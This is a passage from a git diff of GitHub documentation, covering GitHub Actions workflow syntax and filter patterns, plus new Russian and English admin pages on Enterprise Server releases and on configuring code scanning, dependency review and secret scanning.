`jobs..strategy.matrix.exclude` + +{% data reusables.actions.jobs.matrix-exclude %} + +### `jobs..strategy.fail-fast` + +{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-failfast %} + +### `jobs..strategy.max-parallel` + +{% data reusables.actions.jobs.section-using-a-build-matrix-for-your-jobs-max-parallel %} + +## `jobs..continue-on-error` + +Prevents a workflow run from failing when a job fails. Set to `true` to allow a workflow run to pass when this job fails. + +### Example: Preventing a specific failing matrix job from failing a workflow run + +You can allow specific jobs in a job matrix to fail without failing the workflow run. For example, if you wanted to only allow an experimental job with `node` set to `15` to fail without failing the workflow run. + +{% raw %} +```yaml +runs-on: ${{ matrix.os }} +continue-on-error: ${{ matrix.experimental }} +strategy: + fail-fast: false + matrix: + node: [13, 14] + os: [macos-latest, ubuntu-latest] + experimental: [false] + include: + - node: 15 + os: ubuntu-latest + experimental: true +``` +{% endraw %} + +## `jobs..container` + +{% data reusables.actions.docker-container-os-support %} + +{% data reusables.actions.jobs.section-running-jobs-in-a-container %} + +### `jobs..container.image` + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-image %} + +### `jobs..container.credentials` + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-credentials %} + +### `jobs..container.env` + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-env %} + +### `jobs..container.ports` + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-ports %} + +### `jobs..container.volumes` + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-volumes %} + +### `jobs..container.options` + +{% data reusables.actions.jobs.section-running-jobs-in-a-container-options %} + +## `jobs..services` + +{% data reusables.actions.docker-container-os-support %} + +Used to host service containers for a job in a workflow. Service containers are useful for creating databases or cache services like Redis. The runner automatically creates a Docker network and manages the life cycle of the service containers. + +If you configure your job to run in a container, or your step uses container actions, you don't need to map ports to access the service or action. Docker automatically exposes all ports between containers on the same Docker user-defined bridge network. You can directly reference the service container by its hostname. The hostname is automatically mapped to the label name you configure for the service in the workflow. + +If you configure the job to run directly on the runner machine and your step doesn't use a container action, you must map any required Docker service container ports to the Docker host (the runner machine). You can access the service container using localhost and the mapped port. + +For more information about the differences between networking service containers, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers)." + +### Example: Using localhost + +This example creates two services: nginx and redis. When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the {% raw %}`${{job.services..ports}}`{% endraw %} context. In this example, you can access the service container ports using the {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} and {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} contexts. + +```yaml +services: + nginx: + image: nginx + # Map port 8080 on the Docker host to port 80 on the nginx container + ports: + - 8080:80 + redis: + image: redis + # Map TCP port 6379 on Docker host to a random free port on the Redis container + ports: + - 6379/tcp +``` + +### `jobs..services..image` + +The Docker image to use as the service container to run the action. The value can be the Docker Hub image name or a registry name. + +### `jobs..services..credentials` + +{% data reusables.actions.registry-credentials %} + +#### Example + +{% raw %} +```yaml +services: + myservice1: + image: ghcr.io/owner/myservice1 + credentials: + username: ${{ github.actor }} + password: ${{ secrets.github_token }} + myservice2: + image: dockerhub_org/myservice2 + credentials: + username: ${{ secrets.DOCKER_USER }} + password: ${{ secrets.DOCKER_PASSWORD }} +``` +{% endraw %} + +### `jobs..services..env` + +Sets a `map` of environment variables in the service container. + +### `jobs..services..ports` + +Sets an `array` of ports to expose on the service container. + +### `jobs..services..volumes` + +Sets an `array` of volumes for the service container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host. + +To specify a volume, you specify the source and destination path: + +`:`. + +The `` is a volume name or an absolute path on the host machine, and `` is an absolute path in the container. + +#### Example + +```yaml +volumes: + - my_docker_volume:/volume_mount + - /data/my_data + - /source/directory:/destination/directory +``` + +### `jobs..services..options` + +Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)." + +{% warning %} + +**Warning:** The `--network` option is not supported. + +{% endwarning %} + +{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %} +## `jobs..uses` + +{% data reusables.actions.reusable-workflows-ghes-beta %} + +The location and version of a reusable workflow file to run as a job. {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}Use one of the following syntaxes:{% endif %} + +{% data reusables.actions.reusable-workflow-calling-syntax %} + +### Example + +{% data reusables.actions.uses-keyword-example %} + +For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." + +### `jobs..with` + +When a job is used to call a reusable workflow, you can use `with` to provide a map of inputs that are passed to the called workflow. + +Any inputs that you pass must match the input specifications defined in the called workflow. + +Unlike [`jobs..steps[*].with`](#jobsjob_idstepswith), the inputs you pass with `jobs..with` are not be available as environment variables in the called workflow. Instead, you can reference the inputs by using the `inputs` context. + +#### Example + +```yaml +jobs: + call-workflow: + uses: octo-org/example-repo/.github/workflows/called-workflow.yml@main + with: + username: mona +``` + +### `jobs..with.` + +A pair consisting of a string identifier for the input and the value of the input. The identifier must match the name of an input defined by [`on.workflow_call.inputs.`](/actions/creating-actions/metadata-syntax-for-github-actions#inputsinput_id) in the called workflow. The data type of the value must match the type defined by [`on.workflow_call.inputs..type`](#onworkflow_callinputsinput_idtype) in the called workflow. + +Allowed expression contexts: `github`, and `needs`. + +### `jobs..secrets` + +When a job is used to call a reusable workflow, you can use `secrets` to provide a map of secrets that are passed to the called workflow. + +Any secrets that you pass must match the names defined in the called workflow. + +#### Example + +{% raw %} +```yaml +jobs: + call-workflow: + uses: octo-org/example-repo/.github/workflows/called-workflow.yml@main + secrets: + access-token: ${{ secrets.PERSONAL_ACCESS_TOKEN }} +``` +{% endraw %} + +{% ifversion actions-inherit-secrets-reusable-workflows %} + +### `jobs..secrets.inherit` + +Use the `inherit` keyword to pass all the calling workflow's secrets to the called workflow. This includes all secrets the calling workflow has access to, namely organization, repository, and environment secrets. The `inherit` keyword can be used to pass secrets across repositories within the same organization, or across organizations within the same enterprise. + +#### Example + +{% raw %} + +```yaml +on: + workflow_dispatch: + +jobs: + pass-secrets-to-workflow: + uses: ./.github/workflows/called-workflow.yml + secrets: inherit +``` + +```yaml +on: + workflow_call: + +jobs: + pass-secret-to-action: + runs-on: ubuntu-latest + steps: + - name: Use a repo or org secret from the calling workflow. + run: echo ${{ secrets.CALLING_WORKFLOW_SECRET }} +``` + +{% endraw %} + +{%endif%} + +### `jobs..secrets.` + +A pair consisting of a string identifier for the secret and the value of the secret. The identifier must match the name of a secret defined by [`on.workflow_call.secrets.`](#onworkflow_callsecretssecret_id) in the called workflow. + +Allowed expression contexts: `github`, `needs`, and `secrets`. +{% endif %} + +## Filter pattern cheat sheet + +You can use special characters in path, branch, and tag filters. + +- `*`: Matches zero or more characters, but does not match the `/` character. For example, `Octo*` matches `Octocat`. +- `**`: Matches zero or more of any character. +- `?`: Matches zero or one of the preceding character. +- `+`: Matches one or more of the preceding character. +- `[]` Matches one character listed in the brackets or included in ranges. Ranges can only include `a-z`, `A-Z`, and `0-9`. For example, the range`[0-9a-z]` matches any digit or lowercase letter. For example, `[CB]at` matches `Cat` or `Bat` and `[1-2]00` matches `100` and `200`. +- `!`: At the start of a pattern makes it negate previous positive patterns. It has no special meaning if not the first character. + +The characters `*`, `[`, and `!` are special characters in YAML. If you start a pattern with `*`, `[`, or `!`, you must enclose the pattern in quotes. Also, if you use a [flow sequence](https://yaml.org/spec/1.2.2/#flow-sequences) with a pattern containing `[` and/or `]`, the pattern must be enclosed in quotes. + +```yaml +# Valid +branches: + - '**/README.md' + +# Invalid - creates a parse error that +# prevents your workflow from running. +branches: + - **/README.md + +# Valid +branches: [ main, 'release/v[0-9].[0-9]' ] + +# Invalid - creates a parse error +branches: [ main, release/v[0-9].[0-9] ] +``` + +For more information about branch, tag, and path filter syntax, see "[`on..`](#onpushbranchestagsbranches-ignoretags-ignore)", "[`on..`](#onpull_requestpull_request_targetbranchesbranches-ignore)", and "[`on..paths`](#onpushpull_requestpull_request_targetpathspaths-ignore)." + +### Patterns to match branches and tags + +| Pattern | Description | Example matches | +|---------|------------------------|---------| +| `feature/*` | The `*` wildcard matches any character, but does not match slash (`/`). | `feature/my-branch`

`feature/your-branch` | +| `feature/**` | The `**` wildcard matches any character including slash (`/`) in branch and tag names. | `feature/beta-a/my-branch`

`feature/your-branch`

`feature/mona/the/octocat` | +| `main`

`releases/mona-the-octocat` | Matches the exact name of a branch or tag name. | `main`

`releases/mona-the-octocat` | +| `'*'` | Matches all branch and tag names that don't contain a slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `main`

`releases` | +| `'**'` | Matches all branch and tag names. This is the default behavior when you don't use a `branches` or `tags` filter. | `all/the/branches`

`every/tag` | +| `'*feature'` | The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `mona-feature`

`feature`

`ver-10-feature` | +| `v2*` | Matches branch and tag names that start with `v2`. | `v2`

`v2.0`

`v2.9` | +| `v[12].[0-9]+.[0-9]+` | Matches all semantic versioning branches and tags with major version 1 or 2. | `v1.10.1`

`v2.0.0` | + +### Patterns to match file paths + +Path patterns must match the whole path, and start from the repository's root. + +| Pattern | Description of matches | Example matches | +|---------|------------------------|-----------------| +| `'*'` | The `*` wildcard matches any character, but does not match slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `README.md`

`server.rb` | +| `'*.jsx?'` | The `?` character matches zero or one of the preceding character. | `page.js`

`page.jsx` | +| `'**'` | The `**` wildcard matches any character including slash (`/`). This is the default behavior when you don't use a `path` filter. | `all/the/files.md` | +| `'*.js'` | The `*` wildcard matches any character, but does not match slash (`/`). Matches all `.js` files at the root of the repository. | `app.js`

`index.js` +| `'**.js'` | Matches all `.js` files in the repository. | `index.js`

`js/index.js`

`src/js/app.js` | +| `docs/*` | All files within the root of the `docs` directory, at the root of the repository. | `docs/README.md`

`docs/file.txt` | +| `docs/**` | Any files in the `/docs` directory at the root of the repository. | `docs/README.md`

`docs/mona/octocat.txt` | +| `docs/**/*.md` | A file with a `.md` suffix anywhere in the `docs` directory. | `docs/README.md`

`docs/mona/hello-world.md`

`docs/a/markdown/file.md` +| `'**/docs/**'` | Any files in a `docs` directory anywhere in the repository. | `docs/hello.md`

`dir/docs/my-file.txt`

`space/docs/plan/space.doc` +| `'**/README.md'` | A README.md file anywhere in the repository. | `README.md`

`js/README.md` +| `'**/*src/**'` | Any file in a folder with a `src` suffix anywhere in the repository. | `a/src/app.js`

`my-src/code/js/app.js` +| `'**/*-post.md'` | A file with the suffix `-post.md` anywhere in the repository. | `my-post.md`

`path/their-post.md` | +| `'**/migrate-*.sql'` | A file with the prefix `migrate-` and suffix `.sql` anywhere in the repository. | `migrate-10909.sql`

`db/migrate-v1.0.sql`

`db/sept/migrate-v1.sql` | +| `*.md`

`!README.md` | Using an exclamation mark (`!`) in front of a pattern negates it. When a file matches a pattern and also matches a negative pattern defined later in the file, the file will not be included. | `hello.md`

_Does not match_

`README.md`

`docs/hello.md` | +| `*.md`

`!README.md`

`README*` | Patterns are checked sequentially. A pattern that negates a previous pattern will re-include file paths. | `hello.md`

`README.md`

`README.doc`| diff --git a/translations/ru-RU/content/admin/all-releases.md b/translations/ru-RU/content/admin/all-releases.md new file mode 100644 index 000000000000..d03e1686f61c --- /dev/null +++ b/translations/ru-RU/content/admin/all-releases.md @@ -0,0 +1,46 @@ +--- +title: Выпуски GitHub Enterprise Server +intro: '{% data variables.product.company_short %} регулярно выпускает новые версии {% data variables.product.product_name %}. Здесь можно просмотреть поддерживаемые версии, даты прекращения поддержки, а также ознакомиться с документацией по выпуску, который вы развернули.' +allowTitleToDifferFromFilename: true +versions: + ghes: '*' +topics: + - Enterprise + - Upgrades +shortTitle: Releases +ms.openlocfilehash: 85b0848f77b12920ba853bc674327392b6a89389 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147062909' +--- +## Сведения о выпусках {% data variables.product.product_name %} + +{% data reusables.enterprise.constantly-improving %} {% data variables.product.company_short %} поддерживает четыре последних выпуска компонентов. Дополнительные сведения см. в разделе [Сведения об обновлениях до новых выпусков](/admin/overview/about-upgrades-to-new-releases). + +Новые возможности каждого выпуска можно просмотреть в [заметках о выпуске](/admin/release-notes), а также можно ознакомиться с документацией администратора и пользователя для всех выпусков на странице {% data variables.product.prodname_docs %}. При чтении документации обязательно выберите версию, соответствующую вашему продукту. Дополнительные сведения см. в разделе [Сведения о версиях {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs). + +## Поддерживаемые выпуски + +{% data variables.product.company_short %} поддерживает следующие выпуски {% data variables.product.product_name %}. Сведения о последнем выпуске см. на сайте [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise). + +| Версия | Выпуск | Устаревшее | Заметки о выпуске | Документация | +| :- | :- | :- | :- | :- | +{%- for version in enterpriseServerReleases.supported %} | {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | [Заметки о выпуске {{version}}](/enterprise-server@{{version}}/admin/release-notes) | [Документация по {{version}}](/enterprise-server@{{version}}) | {%- endfor %} + +## Устаревшие выпуски + +{% data variables.product.company_short %} предоставляет документацию по устаревшим версиям, но не поддерживает или не обновляет ее. + +| Версия | Выпуск | Устаревшее | Заметки о выпуске | Документация | +| :- | :- | :- | :- | :- | +{%- for version in enterpriseServerReleases.deprecatedReleasesWithNewFormat %} | {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | [Заметки о выпуске {{version}} ](/enterprise-server@{{version}}/admin/release-notes) | [Документация по {{version}}](/enterprise-server@{{version}}) | {%- endfor %} {%- for version in enterpriseServerReleases.deprecatedReleasesWithLegacyFormat %} | {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | [Заметки о выпуске {{version}}](https://enterprise.github.com/releases/series/{{version}}) | [Документация по {{version}}](/enterprise/{{version}}) | {%- endfor %} + +### Нерекомендуемая документация для разработчиков + +{% data variables.product.company_short %} использовали размещение документации разработчика для {% data variables.product.product_name %} на отдельном сайте до выпуска 2.17. {% data variables.product.company_short %} продолжает предоставлять документацию разработчика для версии 2.16 и более ранних версий, но не поддерживает или не обновляет документацию. + +| Версия | Выпуск | Устаревшее | Документация для разработчика | +| :- | :- | :- | :- | +{%- for version in enterpriseServerReleases.deprecatedReleasesOnDeveloperSite %} | {{version}} | {{enterpriseServerReleases.dates[version].releaseDate}} | {{enterpriseServerReleases.dates[version].deprecationDate}} | [Документация для разработчика по {{version}}](https://developer.github.com/enterprise/{{version}}) | {%- endfor %} diff --git a/translations/ru-RU/content/admin/code-security/index.md b/translations/ru-RU/content/admin/code-security/index.md new file mode 100644 index 000000000000..9ae56d410a91 --- /dev/null +++ b/translations/ru-RU/content/admin/code-security/index.md @@ -0,0 +1,21 @@ +--- +title: Управление безопасностью кода для предприятия +shortTitle: Manage code security +intro: 'Вы можете встроить функции безопасности в рабочий процесс разработки с помощью функций, которые исключают секреты и уязвимости из вашей базы кода и поддерживают цепочку поставок программного обеспечения.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /managing-github-advanced-security-for-your-enterprise + - /managing-supply-chain-security-for-your-enterprise +ms.openlocfilehash: 4283037fff9f1b34444d2c910660fb134050f1f6 +ms.sourcegitcommit: e8df903f8f79fab07197d39685782476c3d272b8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/06/2022 +ms.locfileid: '148011136' +--- + diff --git a/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md new file mode 100644 index 000000000000..047fc0e1b7e2 --- /dev/null +++ b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance.md @@ -0,0 +1,97 @@ +--- +title: Configuring code scanning for your appliance +shortTitle: Configuring code scanning +intro: 'You can enable, configure and disable {% data variables.product.prodname_code_scanning %} for {% data variables.location.product_location %}. {% data variables.product.prodname_code_scanning_capc %} allows users to scan code for vulnerabilities and errors.' +product: '{% data reusables.gated-features.code-scanning %}' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /enterprise/admin/configuration/configuring-code-scanning-for-your-appliance + - /admin/configuration/configuring-code-scanning-for-your-appliance + - /admin/advanced-security/configuring-code-scanning-for-your-appliance +versions: + ghes: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - Enterprise + - Security +--- + +{% data reusables.code-scanning.beta %} + +## About {% data variables.product.prodname_code_scanning %} + +{% data reusables.code-scanning.about-code-scanning %} + +You can configure {% data variables.product.prodname_code_scanning %} to run {% data variables.product.prodname_codeql %} analysis and third-party analysis. {% data variables.product.prodname_code_scanning_capc %} also supports running analysis natively using {% data variables.product.prodname_actions %} or externally using existing CI/CD infrastructure. The table below summarizes all the options available to users when you configure {% data variables.location.product_location %} to allow {% data variables.product.prodname_code_scanning %} using actions. + +{% data reusables.code-scanning.enabling-options %} + +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.check-for-ghas-license %} + +## Prerequisites for {% data variables.product.prodname_code_scanning %} + +- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} + +- {% data variables.product.prodname_code_scanning_capc %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") + +- A VM or container for {% data variables.product.prodname_code_scanning %} analysis to run in. + +## Running {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_actions %} + +### Setting up a self-hosted runner + +{% data variables.product.prodname_ghe_server %} can run {% data variables.product.prodname_code_scanning %} using a {% data variables.product.prodname_actions %} workflow. First, you need to provision one or more self-hosted {% data variables.product.prodname_actions %} runners in your environment. You can provision self-hosted runners at the repository, organization, or enterprise account level. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +You must ensure that Git is in the PATH variable on any self-hosted runners you use to run {% data variables.product.prodname_codeql %} actions. + +{% ifversion ghes > 3.7 or ghae > 3.7 %} +{% note %} + +If you use {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} to analyze code written in Python in your enterprise, you must make sure that your self-hosted runner has Python 3 installed. + +{% endnote %} +{% endif %} + +### Provisioning the actions for {% data variables.product.prodname_code_scanning %} + +{% ifversion ghes %} +If you want to use actions to run {% data variables.product.prodname_code_scanning %} on {% data variables.product.prodname_ghe_server %}, the actions must be available on your appliance. + +The {% data variables.product.prodname_codeql %} action is included in your installation of {% data variables.product.prodname_ghe_server %}. If both {% data variables.product.prodname_ghe_server %} {{ allVersions[currentVersion].currentRelease }} and your {% data variables.product.prodname_actions %} runner have access to the internet, the action will automatically download the {% data variables.product.prodname_codeql %} {% data variables.product.codeql_cli_ghes_recommended_version %} bundle required to perform analysis. Alternatively, you can use a synchronization tool to make the latest released version of the {% data variables.product.prodname_codeql %} analysis bundle available locally. For more information, see "[Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access](#configuring-codeql-analysis-on-a-server-without-internet-access)" below. + +You can also make third-party actions available to users for {% data variables.product.prodname_code_scanning %}, by setting up {% data variables.product.prodname_github_connect %}. For more information, see "[Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %}](/enterprise/admin/configuration/configuring-code-scanning-for-your-appliance#configuring-github-connect-to-sync-github-actions)" below. + +### Configuring {% data variables.product.prodname_codeql %} analysis on a server without internet access +If the server on which you are running {% data variables.product.prodname_ghe_server %} is not connected to the internet, and you want to allow users to enable {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for their repositories, you must use the {% data variables.product.prodname_codeql %} action sync tool to copy the {% data variables.product.prodname_codeql %} analysis bundle from {% data variables.product.prodname_dotcom_the_website %} to your server. The tool, and details of how to use it, are available at [https://github.com/github/codeql-action-sync-tool](https://github.com/github/codeql-action-sync-tool/). + +If you set up the {% data variables.product.prodname_codeql %} action sync tool, you can use it to sync the latest releases of the {% data variables.product.prodname_codeql %} action and associated {% data variables.product.prodname_codeql %} analysis bundle. These are compatible with {% data variables.product.prodname_ghe_server %}. + +{% endif %} + +### Configuring {% data variables.product.prodname_github_connect %} to sync {% data variables.product.prodname_actions %} +1. If you want to download action workflows on demand from {% data variables.product.prodname_dotcom_the_website %}, you need to enable {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling {% data variables.product.prodname_github_connect %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud#enabling-github-connect)." +2. You'll also need to enable {% data variables.product.prodname_actions %} for {% data variables.location.product_location %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server)." +3. The next step is to configure access to actions on {% data variables.product.prodname_dotcom_the_website %} using {% data variables.product.prodname_github_connect %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." +4. Add a self-hosted runner to your repository, organization, or enterprise account. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +## Running code scanning using the {% data variables.product.prodname_codeql_cli %} + +If you don't want to use {% data variables.product.prodname_actions %}, you should run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %}. + +The {% data variables.product.prodname_codeql_cli %} is a command-line tool that you use to analyze codebases on any machine, including a third-party CI/CD system. For more information, see "[Installing CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)." + +{% ifversion codeql-runner-supported %} + +## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %} + +{% data reusables.code-scanning.deprecation-codeql-runner %} + +If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %}. + +The {% data variables.code-scanning.codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)." + +{% endif %} diff --git a/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance.md b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance.md new file mode 100644 index 000000000000..192df3affce9 --- /dev/null +++ b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-dependency-review-for-your-appliance.md @@ -0,0 +1,50 @@ +--- +title: Configuring dependency review for your appliance +shortTitle: Configuring dependency review +intro: 'To helps users understand dependency changes when reviewing pull requests, you can enable, configure, and disable dependency review for {% data variables.location.product_location %}.' +product: '{% data reusables.gated-features.dependency-review %}' +miniTocMaxHeadingLevel: 3 +versions: + feature: dependency-review-action-ghes +type: how_to +topics: + - Advanced Security + - Enterprise + - Dependency review + - Security +--- + +## About dependency review + +{% data reusables.dependency-review.feature-overview %} + +Some additional features, such as license checks, blocking of pull requests, and CI/CD integration, are available with the [dependency review action](https://github.com/actions/dependency-review-action). + +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.check-for-ghas-license %} + +## Prerequisites for dependency review + +- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)").{% endif %} + +- The dependency graph enabled for the instance. Site administrators can enable the dependency graph via the management console or the administrative shell (see "[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise)"). + +- {% data variables.product.prodname_github_connect %} enabled to download and synchronize vulnerabilities from the {% data variables.product.prodname_advisory_database %}. This is usually configured as part of setting up {% data variables.product.prodname_dependabot %} (see "[Enabling Dependabot for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)"). + +## Enabling and disabling dependency review + +To enable or disable dependency review, you need to enable or disable the dependency graph for your instance. + +For more information, see "[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise)." + +## Running dependency review using {% data variables.product.prodname_actions %} + +{% data reusables.dependency-review.dependency-review-action-beta-note %} + +The dependency review action is included in your installation of {% data variables.product.prodname_ghe_server %}. It is available for all repositories that have {% data variables.product.prodname_GH_advanced_security %} and dependency graph enabled. + +{% data reusables.dependency-review.dependency-review-action-overview %} + +Users run the dependency review action using a {% data variables.product.prodname_actions %} workflow. If you have not already set up runners for {% data variables.product.prodname_actions %}, you must do this to enable users to run workflows. You can provision self-hosted runners at the repository, organization, or enterprise account level. For information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + diff --git a/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md new file mode 100644 index 000000000000..291f6f490627 --- /dev/null +++ b/translations/ru-RU/content/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance.md @@ -0,0 +1,73 @@ +--- +title: Configuring secret scanning for your appliance +shortTitle: Configuring secret scanning +intro: 'You can enable, configure, and disable {% data variables.product.prodname_secret_scanning %} for {% data variables.location.product_location %}. {% data variables.product.prodname_secret_scanning_caps %} allows users to scan code for accidentally committed secrets.' +product: '{% data reusables.gated-features.secret-scanning %}' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /admin/configuration/configuring-secret-scanning-for-your-appliance + - /admin/advanced-security/configuring-secret-scanning-for-your-appliance +versions: + ghes: '*' +type: how_to +topics: + - Advanced Security + - Enterprise + - Secret scanning + - Security +--- + +{% data reusables.secret-scanning.beta %} + +## About {% data variables.product.prodname_secret_scanning %} + +If someone checks a secret with a known pattern into a repository, {% data variables.product.prodname_secret_scanning %} catches the secret as it's checked in, and helps you mitigate the impact of the leak. Repository administrators are notified about any commit that contains a secret, and they can quickly view all detected secrets in the Security tab for the repository. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning)." + +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} + +{% data reusables.advanced-security.check-for-ghas-license %} + +## Prerequisites for {% data variables.product.prodname_secret_scanning %} + +- The [SSSE3](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-optimization-manual.pdf#G3.1106470) (Supplemental Streaming SIMD Extensions 3) CPU flag needs to be enabled on the VM/KVM that runs {% data variables.location.product_location %}. + +- A license for {% data variables.product.prodname_GH_advanced_security %}{% ifversion ghes %} (see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)"){% endif %} + +- {% data variables.product.prodname_secret_scanning_caps %} enabled in the management console (see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)") + +### Checking support for the SSSE3 flag on your vCPUs + +The SSSE3 set of instructions is required because {% data variables.product.prodname_secret_scanning %} leverages hardware accelerated pattern matching to find potential credentials committed to your {% data variables.product.prodname_dotcom %} repositories. SSSE3 is enabled for most modern CPUs. You can check whether SSSE3 is enabled for the vCPUs available to your {% data variables.product.prodname_ghe_server %} instance. + +1. Connect to the administrative shell for your {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." +2. Enter the following command: + + ```shell + grep -iE '^flags.*ssse3' /proc/cpuinfo >/dev/null | echo $? + ``` + + If this returns the value `0`, it means that the SSSE3 flag is available and enabled. You can now enable {% data variables.product.prodname_secret_scanning %} for {% data variables.location.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_secret_scanning %}](#enabling-secret-scanning)" below. + + If this doesn't return `0`, SSSE3 is not enabled on your VM/KVM. You need to refer to the documentation of the hardware/hypervisor on how to enable the flag, or make it available to guest VMs. + +## Enabling {% data variables.product.prodname_secret_scanning %} + +{% data reusables.enterprise_management_console.enable-disable-security-features %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.advanced-security-tab %} +1. Under "Security," click **{% data variables.product.prodname_secret_scanning_caps %}**. +![Checkbox to enable or disable {% data variables.product.prodname_secret_scanning 